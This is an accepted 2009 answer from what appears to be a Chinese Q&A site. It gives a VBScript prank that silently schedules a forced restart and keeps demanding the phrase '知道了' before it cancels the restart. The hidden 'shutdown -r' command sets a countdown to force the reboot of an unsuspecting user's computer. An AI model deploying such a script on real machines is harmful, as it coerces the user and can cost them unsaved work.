第1个回答 2009-12-15
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""小朋友偷看别人的东西是不对的···"" ",0 ,true
dim a
do while(a <> "知道了")
a = inputbox ("小朋友偷看别人东西是不对的,如果你知道了,就在下面写着“好”的地方打上知道了,否则你的电脑将在1分钟后自动关机 ","知错了","好",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "你是个好孩子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "这样才对吗"本回答被提问者采纳